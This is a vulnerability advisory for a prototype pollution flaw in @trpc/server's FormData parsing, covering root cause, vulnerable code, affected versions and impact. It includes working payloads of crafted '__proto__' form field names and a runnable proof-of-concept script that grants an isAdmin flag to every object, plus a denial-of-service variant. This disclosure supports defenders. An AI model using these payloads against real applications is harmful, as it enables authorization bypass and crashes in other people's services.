PT-2025-54682 · Npm · @Trpc/Server

Published

2025-12-16

·

Updated

2025-12-16

CVSS v4.0

8.5

High

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L
Note that this vulnerability is only present when using experimental caller / experimental nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like proto, constructor, or prototype.

Vulnerable Code

typescript
// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
 if (path.length > 1) {
  const newPath = [...path];
  const key = newPath.shift(); // ← No validation of dangerous keys
  const nextKey = newPath[0];

  if (!obj[key]) { // ← Accesses obj[" proto "] which returns Object.prototype
   obj[key] = isNumberString(nextKey) ? [] : {};
  }
  
  set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype
  return;
 }
 // ...
}

export function formDataToObject(formData) {
 const obj = {};
 for (const [key, value] of formData.entries()) {
  const parts = key.split(/[.[]]/).filter(Boolean); // Splits " proto [isAdmin]" → [" proto ", "isAdmin"]
  set(obj, parts, value);
 }
 return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:
typescript
// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
 input = formDataToObject(input); // ← Vulnerable call
}
An attacker can craft FormData with malicious field names:
javascript
const formData = new FormData();
formData.append(" proto [isAdmin]", "true");
formData.append(" proto [role]", "superadmin");
When processed, this pollutes Object.prototype:
javascript
{}.isAdmin    // → "true"
{}.role      // → "superadmin"

Proof of Concept

bash
# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

# Step 4: Create the test file 

Test.js

javascript
const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===
");

console.log("[1] Estado inicial:");
console.log("  {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append(" proto [isAdmin]", "true");
fd.append(" proto [role]", "superadmin");
fd.append("username", "attacker");

console.log("
[2] FormData malicioso:");
console.log('   proto [isAdmin] = "true"');
console.log('   proto [role] = "superadmin"');

console.log("
[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("  Resultado:", JSON.stringify(result));

console.log("
[4] Después del ataque:");
console.log("  {}.isAdmin =", {}.isAdmin);
console.log("  {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("
[5] Impacto en autorización:");
console.log("  Usuario normal:", JSON.stringify(user));
console.log("  user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
  console.log("
  VULNERABLE - Authorization bypass exitoso!");
} else {
  console.log("
  ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:
javascript
// Vulnerable pattern
if (user.isAdmin) {
 // Grant admin access
}
After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:
javascript
formData.append(" proto [toString]", "not a function");
// All subsequent .toString() calls will fail

Fix

Prototype Pollution

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-43P4-M455-4F4J

Affected Products

@Trpc/Server